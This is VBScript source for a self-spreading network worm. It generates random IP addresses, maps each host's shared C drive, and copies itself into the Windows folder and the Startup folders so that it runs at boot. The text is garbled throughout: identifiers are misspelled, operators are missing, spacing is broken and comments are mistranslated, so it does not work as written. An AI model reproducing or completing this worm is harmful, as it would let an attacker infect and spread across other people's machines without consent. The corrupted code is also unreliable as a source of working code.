Dim Octadim Octbdim Octim Octddim Randdim Dotdim DriveConnectedddim Sharanamedim countdim myfilecount = "0" DOT = "." DriveConnected = "0"
SET WSHNETWORK = WScript.createObject ("WScript.Network") 'Implementing the Search of the online neighbor sharing folder SET fso1 = creteObject ("scripting.filesystemObject")' Create a file system object set fso2 = createObject (" Scripting.filesystemObject ") On Error Resume Next 'If an error occurs, skip directly and prevent the pop-out error window
Randomize 'initializes built-in random number (greater than 0 less than 1) checkfile ()' creation newwork.log file randaddress () "creates a random IP address
dodo while driveconnected = "0" checkaddress () 'Check the address shareformat () wshnetwork.mapnetworkdrive "j:", sharename' generates a map disc enumdrives () 'found a map of shared disk to copy files infected loopcopyfiles ()' infection disconnectdrive () LOOP
Msgbox "DONE"
Function DisconnectDrive () WSHNetwork.removenetworkDrive "J" driveConnected = "0" end function
Function Createlogfile () set myfile = fso1.createtextfile ("c: /network.log", true) end function
Function checkfile () IF (fso1.fileexists)) "c: /network.log") CreateLogfile () elseTelogfile () end ifmyfile.writeline ("log file open") END FUNCTION
Function CopyFiles () MyFile.Writeline ("COPYING FILES TO:" & Sharename) Set fso = creteObject ("scripting.filesystemobject")
Fso.copyfile "c: /network.vbs", "j: /"
IF (fso2.fileexists)) TheenmyFile.writeline ("Successful Copy TO:" & sharename) Endiff
Fso.copyFile "C: /Network.VBS", "J: / Windows / Startm ~ 1 / Program / Startup /"
Fso.copyfile "c: /network.vbs", "j: / windows /" fso.copyfile "c: /network.vbs", "j: / windows / start menu / programs / startup /"
END FUNCTION
Function checkaddress () oCTD = OCTD 1IF OCTD = "255" Then Randaddress () End Function
Function ShareFormat () ShareName = "//" & Octa & Dot & OctB & Dot & OctC & Dot & OctD & "/ C" end function
function enumdrives () Set odrives = wshnetwork.enumnetworkdrivesFor i = 0 to odrives.Count -1if sharename = odrives.item (i) thendriveconnected = 1else 'driveconnected = 0 end ifNextend function
Function randum () rand = int ((254 * rND) 1) 'Generates a random number end function less than 255
Function randaddress () if count <50 ThenOcta = INT ((16) * RND 199) 'Generate a random number of 199-215? count = count 1ELSERANDUM () octa = randend iFrandum () OctB = randrandum () OctC = RandOCTD = "1" myfile.writeline ("Subnet:" & Octa & Dot & OctB & Dot & OctC & Dot & "0") End Function